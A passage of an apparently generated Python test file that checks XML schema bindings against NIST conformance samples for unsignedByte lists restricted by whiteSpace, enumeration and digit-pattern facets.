instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-whiteSpace-1-2.xml",
class_name="NistschemaSvIvListUnsignedByteWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_white_space_nistxml_sv_iv_list_unsigned_byte_white_space_1_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-whiteSpace-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-whiteSpace-1-3.xml",
class_name="NistschemaSvIvListUnsignedByteWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_white_space_nistxml_sv_iv_list_unsigned_byte_white_space_1_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-whiteSpace-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-whiteSpace-1-4.xml",
class_name="NistschemaSvIvListUnsignedByteWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_white_space_nistxml_sv_iv_list_unsigned_byte_white_space_1_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet whiteSpace with value
collapse.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-whiteSpace-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-whiteSpace-1-5.xml",
class_name="NistschemaSvIvListUnsignedByteWhiteSpace1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_4_nistxml_sv_iv_list_unsigned_byte_enumeration_5_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-5-1.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_4_nistxml_sv_iv_list_unsigned_byte_enumeration_5_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-5-2.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_4_nistxml_sv_iv_list_unsigned_byte_enumeration_5_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-5-3.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_4_nistxml_sv_iv_list_unsigned_byte_enumeration_5_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-5-4.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_4_nistxml_sv_iv_list_unsigned_byte_enumeration_5_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-5-5.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_3_nistxml_sv_iv_list_unsigned_byte_enumeration_4_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-4-1.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_3_nistxml_sv_iv_list_unsigned_byte_enumeration_4_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-4-2.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_3_nistxml_sv_iv_list_unsigned_byte_enumeration_4_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-4-3.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_3_nistxml_sv_iv_list_unsigned_byte_enumeration_4_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-4-4.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_3_nistxml_sv_iv_list_unsigned_byte_enumeration_4_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-4-5.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_2_nistxml_sv_iv_list_unsigned_byte_enumeration_3_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-3-1.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_2_nistxml_sv_iv_list_unsigned_byte_enumeration_3_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-3-2.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_2_nistxml_sv_iv_list_unsigned_byte_enumeration_3_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-3-3.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_2_nistxml_sv_iv_list_unsigned_byte_enumeration_3_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-3-4.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_2_nistxml_sv_iv_list_unsigned_byte_enumeration_3_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-3-5.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_1_nistxml_sv_iv_list_unsigned_byte_enumeration_2_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-2-1.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_1_nistxml_sv_iv_list_unsigned_byte_enumeration_2_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-2-2.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_1_nistxml_sv_iv_list_unsigned_byte_enumeration_2_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-2-3.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_1_nistxml_sv_iv_list_unsigned_byte_enumeration_2_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-2-4.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_1_nistxml_sv_iv_list_unsigned_byte_enumeration_2_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-2-5.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_nistxml_sv_iv_list_unsigned_byte_enumeration_1_1(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-1-1.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_nistxml_sv_iv_list_unsigned_byte_enumeration_1_2(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-1-2.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_nistxml_sv_iv_list_unsigned_byte_enumeration_1_3(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-1-3.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_nistxml_sv_iv_list_unsigned_byte_enumeration_1_4(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-1-4.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_enumeration_nistxml_sv_iv_list_unsigned_byte_enumeration_1_5(mode, save_output, output_format):
"""
Type list/unsignedByte is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-enumeration-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-enumeration-1-5.xml",
class_name="NistschemaSvIvListUnsignedByteEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_4_nistxml_sv_iv_list_unsigned_byte_pattern_5_1(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-5-1.xml",
class_name="NistschemaSvIvListUnsignedBytePattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_4_nistxml_sv_iv_list_unsigned_byte_pattern_5_2(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-5-2.xml",
class_name="NistschemaSvIvListUnsignedBytePattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_4_nistxml_sv_iv_list_unsigned_byte_pattern_5_3(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-5-3.xml",
class_name="NistschemaSvIvListUnsignedBytePattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_4_nistxml_sv_iv_list_unsigned_byte_pattern_5_4(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-5-4.xml",
class_name="NistschemaSvIvListUnsignedBytePattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_4_nistxml_sv_iv_list_unsigned_byte_pattern_5_5(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-5.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-5-5.xml",
class_name="NistschemaSvIvListUnsignedBytePattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_3_nistxml_sv_iv_list_unsigned_byte_pattern_4_1(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1} \d{2} \d{3}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-4-1.xml",
class_name="NistschemaSvIvListUnsignedBytePattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_3_nistxml_sv_iv_list_unsigned_byte_pattern_4_2(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1} \d{2} \d{3}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-4-2.xml",
class_name="NistschemaSvIvListUnsignedBytePattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_3_nistxml_sv_iv_list_unsigned_byte_pattern_4_3(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1} \d{2} \d{3}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-4-3.xml",
class_name="NistschemaSvIvListUnsignedBytePattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_3_nistxml_sv_iv_list_unsigned_byte_pattern_4_4(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1} \d{2} \d{3}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-4-4.xml",
class_name="NistschemaSvIvListUnsignedBytePattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_3_nistxml_sv_iv_list_unsigned_byte_pattern_4_5(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1} \d{2} \d{3}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-4.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-4-5.xml",
class_name="NistschemaSvIvListUnsignedBytePattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_2_nistxml_sv_iv_list_unsigned_byte_pattern_3_1(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-3-1.xml",
class_name="NistschemaSvIvListUnsignedBytePattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_2_nistxml_sv_iv_list_unsigned_byte_pattern_3_2(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-3-2.xml",
class_name="NistschemaSvIvListUnsignedBytePattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_2_nistxml_sv_iv_list_unsigned_byte_pattern_3_3(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-3-3.xml",
class_name="NistschemaSvIvListUnsignedBytePattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_2_nistxml_sv_iv_list_unsigned_byte_pattern_3_4(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-3-4.xml",
class_name="NistschemaSvIvListUnsignedBytePattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_2_nistxml_sv_iv_list_unsigned_byte_pattern_3_5(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-3.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-3-5.xml",
class_name="NistschemaSvIvListUnsignedBytePattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_1_nistxml_sv_iv_list_unsigned_byte_pattern_2_1(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-2-1.xml",
class_name="NistschemaSvIvListUnsignedBytePattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_1_nistxml_sv_iv_list_unsigned_byte_pattern_2_2(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-2-2.xml",
class_name="NistschemaSvIvListUnsignedBytePattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_1_nistxml_sv_iv_list_unsigned_byte_pattern_2_3(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-2-3.xml",
class_name="NistschemaSvIvListUnsignedBytePattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_1_nistxml_sv_iv_list_unsigned_byte_pattern_2_4(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-2-4.xml",
class_name="NistschemaSvIvListUnsignedBytePattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_1_nistxml_sv_iv_list_unsigned_byte_pattern_2_5(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-2.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-2-5.xml",
class_name="NistschemaSvIvListUnsignedBytePattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_nistxml_sv_iv_list_unsigned_byte_pattern_1_1(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
\d{2} \d{3} \d{1} \d{2} \d{3} \d{1}.
"""
assert_bindings(
schema="nistData/list/unsignedByte/Schema+Instance/NISTSchema-SV-IV-list-unsignedByte-pattern-1.xsd",
instance="nistData/list/unsignedByte/Schema+Instance/NISTXML-SV-IV-list-unsignedByte-pattern-1-1.xml",
class_name="NistschemaSvIvListUnsignedBytePattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_byte_pattern_nistxml_sv_iv_list_unsigned_byte_pattern_1_2(mode, save_output, output_format):
r"""
Type list/unsignedByte is restricted by facet pattern with value \d{1}
